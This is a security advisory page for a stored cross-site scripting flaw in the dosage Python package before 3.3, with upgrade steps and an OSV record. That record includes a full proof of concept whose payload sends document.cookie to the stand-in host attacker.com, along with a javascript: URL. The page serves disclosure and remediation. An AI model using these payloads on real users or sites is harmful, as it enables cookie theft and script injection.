GHSA-75mw-h36v-2jv7: Dosage Cross-Site Scripting Vulnerability
MODERATEGHSA-75mw-h36v-2jv7 is a MODERATE (CVSS 6.1) cross-site scripting vulnerability (CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')) affecting Dosage libraries in the PyPI ecosystem. The issue involves dosage vulnerable to stored cross-site scripting (xss) in html/rss output handlers. Remediation is available by upgrading affected packages to version 3.3.
GHSA-75mw-h36v-2jv7 at a Glance
Security Impact
CVSS: 6.1
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N).
How to Fix GHSA-75mw-h36v-2jv7
To remediate this vulnerability, upgrade all affected Dosage dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
pip install dosage>=3.3
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
pip show dosage
How to Check if You Are Affected
To determine whether your Python environment is affected by GHSA-75mw-h36v-2jv7, inspect your installed packages using pip:
pip show dosage
Analyze the terminal output to locate any version of Dosage in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.3), your application is affected.
Note: The pip show dosage command checks currently installed packages in your active Python environment.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), where the product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. In Dosage, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
GHSA-75mw-h36v-2jv7 Affected Dosage Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
dosage
|
PyPI |
< 3.3
|
3.3
|
References
Frequently Asked Questions
What is GHSA-75mw-h36v-2jv7?
Which Dosage versions are affected?
What version fixes GHSA-75mw-h36v-2jv7?
Is dosage affected?
What is the CVSS score of GHSA-75mw-h36v-2jv7?
What CWE is associated with GHSA-75mw-h36v-2jv7?
How can I check PyPI dependencies for GHSA-75mw-h36v-2jv7?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-75mw-h36v-2jv7",
"modified" : "2026-07-21T19:53:21Z",
"published" : "2026-06-26T21:03:43Z",
"aliases" : [ ],
"summary" : "Dosage Vulnerable to Stored Cross-Site Scripting (XSS) in HTML/RSS Output Handlers",
"details" : "## Summary\n\nThe HTML and RSS output handlers in `dosagelib/events.py` write user-controlled content (comic text and page URLs) directly into generated files without proper HTML escaping. When a user scrapes a malicious webcomic and opens the generated HTML/RSS file, attacker-controlled JavaScript can execute in their browser.\n\n**CWE**: [CWE-79](https://cwe.mitre.org/data/definitions/79.html) - Improper Neutralization of Input During Web Page Generation (Cross-site Scripting)\n\n---\n\n## Details\n\n### Vulnerable Code Locations\n\nThe vulnerability exists in `dosagelib/events.py` where untrusted content is written to HTML/RSS output without escaping:\n\n**1. RSSEventHandler (lines 116-118)**\n```python\n# events.py:116-118\nif comic.text:\n description += '<br/>%s' % comic.text # ← Unescaped comic.text\ndescription += '<br/><a href=\"%s\">View Comic Online</a>' % pageUrl # ← Unescaped URL\n```\n\n**2. HtmlEventHandler (lines 232, 238)**\n```python\n# events.py:232\nself.html.write(u'<li><a href=\"%s\">%s</a>\\n' % (pageUrl, pageUrl)) # ← Unescaped URL\n\n# events.py:238\nif text:\n self.html.write(u'<br/>%s\\n' % text) # ← Unescaped text\n```\n\n### Root Cause\n\n- `BasicScraper.fetchText()` in `scraper.py:422` calls `html.unescape()` on extracted text\n- The output handlers never call `html.escape()` before writing to files\n- No sanitization of URLs or text content occurs anywhere in the output pipeline\n\n### Data Flow\n\n```\nMalicious webcomic page\n ↓\ntextSearch XPath extracts content (e.g., img/@title, div text)\n ↓\nBasicScraper.fetchText() calls html.unescape()\n ↓\ncomic.text stored without sanitization\n ↓\nHtmlEventHandler/RSSEventHandler writes to file without html.escape()\n ↓\nGenerated HTML/RSS contains executable JavaScript\n```\n\n---\n\n## PoC\n\nI created a proof-of-concept that demonstrates the vulnerability by simulating a malicious comic source.\n\n### Prerequisites\n- Docker installed and running\n\n### PoC Files\n\nCreate these files in a `poc/` directory:\n\n**1. `poc/Dockerfile`**\n```dockerfile\nFROM python:3.11-slim\n\nLABEL description=\"PoC for dosage Stored XSS vulnerability (CWE-79)\"\n\nWORKDIR /app\nCOPY . /app\n\n# Install dependencies\nRUN pip install --no-cache-dir --quiet imagesize lxml requests rich platformdirs\n\n# Install dosage\nENV SETUPTOOLS_SCM_PRETEND_VERSION_FOR_DOSAGE=0.0.0\nRUN pip install --no-cache-dir --quiet .\n\nCMD [\"python\", \"poc/poc.py\"]\n```\n\n**2. `poc/poc.py`**\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC: Stored XSS in dosage HTML/RSS Output Handlers\nDemonstrates that untrusted comic content is written to output files unescaped.\n\"\"\"\n\nimport sys\nfrom pathlib import Path\nfrom types import SimpleNamespace\n\nfrom dosagelib.events import HtmlEventHandler, RSSEventHandler\n\n# XSS payloads simulating malicious webcomic content\nMALICIOUS_TEXT = \"Funny Comic!<script>fetch('http://attacker.com/?c='+document.cookie)</script>\"\nMALICIOUS_URL = \"javascript:alert('XSS-via-URL')\"\n\ndef check_vulnerability(content: str, marker: str, description: str) -> bool:\n \"\"\"Check if unescaped marker appears in content.\"\"\"\n if marker.lower() in content.lower():\n print(f\" [VULNERABLE] {description}\")\n print(f\" Found unescaped: {marker}\")\n return True\n print(f\" [SAFE] {description}\")\n return False\n\ndef main():\n print(\"=\" * 70)\n print(\"PoC: Stored XSS in dosage HTML/RSS Output Handlers\")\n print(\"=\" * 70)\n print()\n\n base = Path(__file__).parent / \"output\"\n base.mkdir(parents=True, exist_ok=True)\n\n # Create dummy image file\n img_path = base / \"payload.png\"\n img_path.write_bytes(b\"\\x89PNG\\r\\n\\x1a\\n\")\n\n # Simulate comic with malicious content\n comic = SimpleNamespace(\n scraper=SimpleNamespace(name=\"MaliciousComic\"),\n referrer=MALICIOUS_URL,\n text=MALICIOUS_TEXT,\n url=\"http://example.com/comic.png\"\n )\n\n vulnerabilities_found = 0\n\n # Test RSS Handler\n print(\"[*] Testing RSSEventHandler...\")\n rss_handler = RSSEventHandler(str(base), None, False)\n rss_handler.start()\n rss_handler.comicDownloaded(comic, str(img_path))\n rss_handler.end()\n \n rss_path = Path(rss_handler.rssfn)\n rss_content = rss_path.read_text(encoding=\"utf-8\")\n print(f\" Output file: {rss_path}\")\n \n if check_vulnerability(rss_content, \"javascript:\", \"pageUrl in RSS href\"):\n vulnerabilities_found += 1\n\n # Test HTML Handler \n print()\n print(\"[*] Testing HtmlEventHandler...\")\n html_handler = HtmlEventHandler(str(base), None, False)\n html_handler.start()\n html_path = Path(html_handler.html.name)\n html_handler.comicDownloaded(comic, str(img_path), text=MALICIOUS_TEXT)\n html_handler.end()\n\n html_content = html_path.read_text(encoding=\"utf-8\")\n print(f\" Output file: {html_path}\")\n \n if check_vulnerability(html_content, \"<script>\", \"text param in HTML\"):\n vulnerabilities_found += 1\n if check_vulnerability(html_content, \"javascript:\", \"pageUrl in HTML link\"):\n vulnerabilities_found += 1\n\n # Show vulnerable content\n print()\n print(\"-\" * 70)\n print(\"Vulnerable Content in Generated HTML:\")\n print(\"-\" * 70)\n for line in html_content.splitlines():\n if \"<script>\" in line.lower() or \"javascript:\" in line.lower():\n print(f\" {line}\")\n\n print()\n print(\"=\" * 70)\n print(f\"RESULT: {vulnerabilities_found} XSS vulnerability vectors confirmed!\")\n print(\"=\" * 70)\n \n return 0 if vulnerabilities_found > 0 else 1\n\nif __name__ == \"__main__\":\n sys.exit(main())\n```\n\n**3. `poc/run_poc.sh`**\n```bash\n#!/usr/bin/env bash\nset -euo pipefail\n\nSCRIPT_DIR=\"$(cd \"$(dirname \"${BASH_SOURCE[0]}\")\" && pwd)\"\nROOT_DIR=\"$(cd \"${SCRIPT_DIR}/..\" && pwd)\"\n\necho \"[*] Building PoC Docker image...\"\ndocker build -t dosage-xss-poc -f \"${SCRIPT_DIR}/Dockerfile\" \"${ROOT_DIR}\" --quiet\n\necho \"[*] Running PoC...\"\ndocker run --rm dosage-xss-poc\n\necho \"[*] Cleanup: docker rmi dosage-xss-poc\"\n```\n\n### Running the PoC\n\n```bash\ncd /path/to/dosage\nchmod +x poc/run_poc.sh\n./poc/run_poc.sh\n```\n\n### PoC Output\n\n```\n======================================================================\nPoC: Stored XSS in dosage HTML/RSS Output Handlers\n======================================================================\n\n[*] Testing RSSEventHandler...\n Output file: /app/poc/output/dailydose.rss\n [VULNERABLE] pageUrl in RSS href\n Found unescaped: javascript:\n\n[*] Testing HtmlEventHandler...\n Output file: /app/poc/output/html/comics-20251210.html\n [VULNERABLE] text param in HTML\n Found unescaped: <script>\n [VULNERABLE] pageUrl in HTML link\n Found unescaped: javascript:\n\n----------------------------------------------------------------------\nVulnerable Content in Generated HTML:\n----------------------------------------------------------------------\n <li><a href=\"javascript:alert('XSS-via-URL')\">javascript:alert('XSS-via-URL')</a>\n <br/>Funny Comic!<script>fetch('http://attacker.com/?c='+document.cookie)</script>\n\n======================================================================\nRESULT: 3 XSS vulnerability vectors confirmed!\n======================================================================\n```\n\nThe output shows that:\n1. The `javascript:` URL is written directly into `<a href>` attributes\n2. The `<script>` tag from comic text appears unescaped in the HTML body\n\n---\n\n## Impact\n\n### Who is affected?\n- Users who use `dosage --output html` or `dosage --output rss` options\n- Anyone who opens the generated HTML/RSS files in a browser\n\n### Attack scenario\n1. Attacker creates or compromises a webcomic site\n2. Attacker injects JavaScript into image title/alt attributes:\n ```html\n <img src=\"comic.png\" title=\"Funny!<script>alert(1)</script>\">\n ```\n3. Victim runs: `dosage MaliciousComic --output html`\n4. The generated `Comics/html/comics-YYYYMMDD.html` contains the unescaped script\n5. When victim opens the file, JavaScript executes\n\n### Potential consequences\n- **Cookie theft** if files are served over HTTP\n- **Local file access** via `file://` protocol\n- **Phishing attacks** through DOM manipulation\n\n---\n\n## Recommended Fix\n\nEscape all user-controlled content before writing to HTML/RSS:\n\n```python\nimport html\n\n# In RSSEventHandler.comicDownloaded() - events.py around line 116:\nif comic.text:\n description += '<br/>%s' % html.escape(comic.text)\ndescription += '<br/><a href=\"%s\">View Comic Online</a>' % html.escape(pageUrl)\n\n# In HtmlEventHandler.comicDownloaded() - events.py around line 232:\nself.html.write(u'<li><a href=\"%s\">%s</a>\\n' % (html.escape(pageUrl), html.escape(pageUrl)))\n\n# events.py around line 238:\nif text:\n self.html.write(u'<br/>%s\\n' % html.escape(text))\n```\n\nFor URLs, validating that they use safe protocols (`http://`, `https://`) would also help prevent javascript: URLs.\n\n---\n\n## Resources\n\n- [CWE-79: Cross-site Scripting (XSS)](https://cwe.mitre.org/data/definitions/79.html)\n- [OWASP XSS Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html)\n- [Python html.escape() documentation](https://docs.python.org/3/library/html.html#html.escape)\n\n---",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "PyPI",
"name" : "dosage"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "3.3"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 3.2"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/webcomics/dosage/security/advisories/GHSA-75mw-h36v-2jv7"
}, {
"type" : "WEB",
"url" : "https://github.com/webcomics/dosage/commit/b91fd5cc3889aed3d9cc81b98834648197b2859a"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/webcomics/dosage"
}, {
"type" : "WEB",
"url" : "https://github.com/webcomics/dosage/releases/tag/3.3"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-79" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2026-06-26T21:03:43Z",
"nvd_published_at" : null
}
}